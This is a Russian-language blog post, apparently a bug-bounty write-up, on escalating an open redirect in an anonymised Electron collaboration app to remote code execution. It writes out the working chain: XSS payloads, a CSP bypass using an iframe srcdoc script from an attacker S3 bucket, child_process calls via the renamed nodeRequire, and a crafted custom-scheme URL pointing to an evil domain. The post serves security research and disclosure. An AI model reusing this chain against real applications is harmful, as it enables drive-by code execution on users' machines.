Это мир узла - мы просто в нем живем

Хорошо это или плохо, но Node.js взлетел в рейтингах популярности разработчиков. Благодаря таким фреймворкам, как React, React Native и Electron, разработчики могут легко создавать клиенты для мобильных и нативных платформ. Эти клиенты поставляются в тонких оболочках вокруг одного файла JavaScript.

Как и с любым современным удобством, здесь есть компромиссы. Что касается безопасности, перенос логики маршрутизации и шаблонов на клиентскую сторону упрощает для злоумышленников обнаружение неиспользуемых конечных точек API, не запутанных секретов и т. Д. Попробуйте Webpack Exploder, инструмент, который я написал, который декомпилирует приложения Webpacked React в их исходный исходный код.

Для нативных настольных приложений приложения Electron еще проще декомпилировать и отлаживать. Вместо того, чтобы пробираться через Ghidra / Radare2 / Ida и кучи ассемблерного кода, злоумышленники могут использовать встроенный Chromium DevTools от Electron. Между тем, документация Electron рекомендует упаковывать приложения в архивы asar, формат, подобный tar, который можно распаковать с помощью простого однострочника.

С помощью исходного кода злоумышленники могут искать уязвимости на стороне клиента и доводить их до выполнения кода. Никакого фанкового переполнения буфера не требуется - настройка nodeIntegration Electron помещает приложения в один XSS-фильтр.

Мне нравится подход белого ящика к тестированию приложений. Если вы знаете, что ищете, вы можете более подробно рассмотреть слабые места и следить за своим эксплойтом по мере его прохождения через код.

В этом сообщении в блоге я рассмотрю в «белом ящике» неназванное приложение Electron, полученное в рамках программы вознаграждения за ошибки. Я продемонстрирую, как я преобразовал открытое перенаправление в удаленное выполнение кода с помощью некоторой отладки. Примеры кода изменены и обезличены.

От белого ящика к эксплуатации

Мое путешествие началось однажды, когда я заметил твит Жасмин и был вдохновлен на то, чтобы самому заняться взломом Electron. Я начал с установки приложения на MacOS, а затем получил исходный код:

  1. Перейдите в папку Application.
  2. Щелкните приложение правой кнопкой мыши и выберите Show Package Contents.
  3. Войдите в каталог Contents, содержащий файл app.asar.
  4. Запускаем npx asar extract app.asar source (Узел должен быть установлен).
  5. Просмотрите декомпилированный исходный код в новом каталоге source!

Обнаружение уязвимой конфигурации

Заглянув в package.json, я нашел конфигурацию "main": "app/index.js", в которой говорилось, что основной процесс был инициирован из файла index.js. Быстрая проверка index.js подтвердила, что для nodeIntegration было установлено значение true для большинства BrowserWindow экземпляров. Это означало, что я мог легко преобразовать управляемый злоумышленником JavaScript в исполнение нативного кода. Когда nodeIntegration равно true, JavaScript в окне может получить доступ к собственным функциям Node.js, таким как require, и, таким образом, импортировать опасные модули, такие как child_process. Это приводит к классической полезной нагрузке Electron calc require('child_process').execFile('/Applications/Calculator.app/Contents/MacOS/Calculator',function(){}).

Попытка XSS

Итак, теперь все, что мне нужно было сделать, это найти вектор XSS. Приложение было кроссплатформенным инструментом для совместной работы (вспомните Slack или Zoom), поэтому было много входных данных, таких как текстовые сообщения или общие загрузки. Я запустил приложение из исходного кода с electron . --proxy-server=127.0.0.1:8080, проксируя веб-трафик через Burp Suite.

Я начал тестировать полезные данные HTML, такие как <b>pwned</b>, в каждом из входов. Вскоре после этого я получил свой первый pwned! Это был многообещающий знак. Однако стандартные полезные данные XSS, такие как <script>alert()</script> или <svg onload=alert()>, просто не выполнялись. Мне нужно было начать отладку.

Обход CSP

По умолчанию вы можете получить доступ к DevTools в приложениях Electron с помощью сочетания клавиш Ctrl+Shift+I или F12. Я раздавил ключи, но ничего не произошло. Оказалось, что приложение удалило сочетания клавиш по умолчанию. Чтобы разгадать эту загадку, я поискал globalShortcut (модуль горячих клавиш Electron) в исходном коде. Выскочил один результат:

electron.globalShortcut.register('CommandOrControl+H', () => {
    activateDevMenu();
});

Ага! В приложении было собственное сочетание клавиш для открытия секретного меню. Я ввел CMD+H, и в строке меню появилось Developer меню. В нем было много пикантных вещей, таких как Update и Callback, но, что самое важное, было DevTools! Я открыл DevTools и возобновил тестирование своих полезных данных XSS. Вскоре стало ясно, почему они терпят неудачу - в консоли DevTools появилось сообщение об ошибке с жалобой на нарушение политики безопасности контента (CSP). Само приложение загружало URL-адрес со следующим CSP:

Content-Security-Policy: script-src 'self' 'unsafe-eval' https://cdn.heapanalytics.com https://heapanalytics.com https://*.s3.amazonaws.com https://fast.appcues.com https://*.firebaseio.com

CSP исключил политику unsafe-inline, заблокировав обработчики событий, такие как полезная нагрузка svg. Более того, поскольку мои полезные данные динамически вводились на страницу с помощью JavaScript, типичные теги <script> не выполнялись. К счастью, у CSP была одна фатальная ошибка: он разрешал использовать подстановочные URL-адреса. В частности, политика https://*.s3.amazonaws.com позволяла мне включать скрипты из моего собственного ведра S3! Чтобы динамически внедрять и выполнять тег скрипта, я использовал прием, который я узнал из Пасхального испытания XSS Intigriti, в котором использовался атрибут iframe srcdoc:

<iframe srcdoc='<script src=https://myeviljsbucket.s3.amazonaws.com/evilscript.js></script>'></iframe>

(Я анонимизировал исходный URL.)

С этим я получил свое прекрасное окно предупреждений! Накачка адреналина, я изменил evilscript.js на window.require('child_process').execFile('/Applications/Calculator.app/Contents/MacOS/Calculator',function(){}), повторно отправил данные XSS и ... ничего.

Нам нужно углубиться.

Комната Requirement

Возвращаясь к консоли DevTools, я заметил следующую ошибку: Uncaught TypeError: window.require is not a function. Это вызывало недоумение, потому что, когда nodeIntegration установлено в true, функции Node.js, такие как require, должны быть включены в window. Возвращаясь к исходному коду, я заметил эти строки кода при создании уязвимого BrowserWindow:

const appWindow = createWindow('main', {
            width: 1080,
            height: 660,
            webPreferences: {
                nodeIntegration: true,
                preload: path.join(__dirname, 'preload.js')
            },
        });

Заглядывая в preload.js:

window.nodeRequire = require;
delete window.require;
delete window.exports;
delete window.module;

Ага! Приложение переименовало / удаляло require в последовательности предварительной загрузки. Это не была попытка безопасности посредством неизвестности; это шаблонный код из документации Electron, чтобы заставить работать сторонние библиотеки JavaScript, такие как AngularJS! Как я упоминал ранее, небезопасная конфигурация - постоянная тема среди уязвимых приложений. При включении nodeIntegration и повторном вводе require в окно выполнение кода становится особой возможностью.

Сделав еще одну настройку (используя window.parent.nodeRequire, поскольку я выполнял свой XSS из iframe), я отправил свою новую полезную нагрузку и получил расчет!

Выполнение кода Drive-By

Прежде чем я посмотрел на собственное приложение, я обнаружил открытое перенаправление в веб-приложении на странице https://collabapplication.com/redirect.jsp?next=//evil.com. Однако проверяющий попросил меня продемонстрировать дополнительное воздействие. Одной из особенностей нативного приложения было то, что оно могло открывать новое окно по веб-ссылке в браузере.

Рассмотрим такие приложения, как Slack и Zoom. Вы когда-нибудь задумывались, как открыть ссылку, скажем, на сайте zoom.us, и получить запрос на открытие приложения Zoom?

Это потому, что эти веб-сайты пытаются открыть пользовательские схемы URL, которые были зарегистрированы в собственном приложении. Например, Zoom регистрирует zoommtg настраиваемую схему URL-адресов в вашей операционной системе, поэтому, если у вас установлен Zoom и вы попытаетесь открыть в браузере zoommtg: //zoom.us/start? Confno = 123456789 & pwd = xxxx (попробуйте!), вам будет предложено открыть собственное приложение. В некоторых менее безопасных браузерах вам вообще не будет предлагаться!

Я заметил, что у уязвимого приложения аналогичная функция. Если бы я посетил страницу веб-сайта, в нативном приложении открылась бы комната для совместной работы. Покопавшись в коде, я нашел такой обработчик:

function isWhitelistedDomain(url) {
    var allowed = ['collabapplication.com'];
    var test = extractDomain(url);
    if( allowed.indexOf(test) > -1 ) {
        return true;
    }
    return false;
};
let launchURL = parseLaunchURL(fullURL);
if isWhitelistedDomain(launchURL) {
    appWindow.loadURL(launchURL);
} else {
    appWindow.loadURL(homeURL);
}

Давайте разберемся с этим. Когда собственное приложение запускается из настраиваемой схемы URL-адресов (в данном случае collabapp://collabapplication.com?meetingno=123&pwd=abc), этот URL-адрес передается в обработчик запуска. Обработчик запуска извлекает URL-адрес после collabapp://, проверяет, является ли домен в извлеченном URL-адресе collabapplication.com, и загружает URL-адрес в окно приложения, если он проходит проверку.

Хотя код проверки белого списка верен, механизм безопасности невероятно хрупок. Пока в collabapplication.com есть одно открытое перенаправление, вы можете заставить собственное приложение загружать произвольный URL-адрес в окно приложения. Добавьте к этому nodeIntegration уязвимость, и все, что вам нужно, - это перенаправление на злую страницу, которая вызывает window.parent.nodeRequire(...) для выполнения кода!

Моя последняя полезная нагрузка была следующей: collabapp://collabapplication.com/redirect.jsp?next=%2f%2fevildomain.com%2fevil.html. На evil.html я просто запустил window.parent.nodeRequire('child_process').execFile('/Applications/Calculator.app/Contents/MacOS/Calculator',function(){}).

Теперь, если пользователь-жертва посещает любую веб-страницу, которая загружает злобную настраиваемую схему URL-адресов, появляется калькулятор! Постепенное выполнение кода без браузера нулевого дня.

Это мир, в котором мы живем

По мере того, как после пандемии COVID-19 появляются новые приложения, у разработчиков может возникнуть соблазн воспользоваться ярлыками, которые могут привести к разрушительным дырам в безопасности. Эти уязвимости нельзя исправить быстро, потому что они вызваны ошибками на ранних этапах цикла разработки.

Вспомните nodeIntegration и preload проблемы с уязвимым приложением - приложение всегда будет оставаться хрупким и уязвимым, если эти проблемы с архитектурой и конфигурацией не будут исправлены. Даже если они исправят один XSS или откроют перенаправление, любой новый экземпляр этих ошибок приведет к выполнению кода. В то же время отключение nodeIntegration приведет к поломке всего приложения. С этого момента его нужно переписать.

Фреймворки Node.js, такие как Electron, позволяют разработчикам быстро создавать собственные приложения, используя знакомые им языки и инструменты. Однако пользовательское пространство представляет собой совершенно другой ландшафт угроз; всплывающее окно alert в вашем браузере сильно отличается от всплывающего окна calc в вашем приложении. Разработчики и пользователи должны действовать осторожно.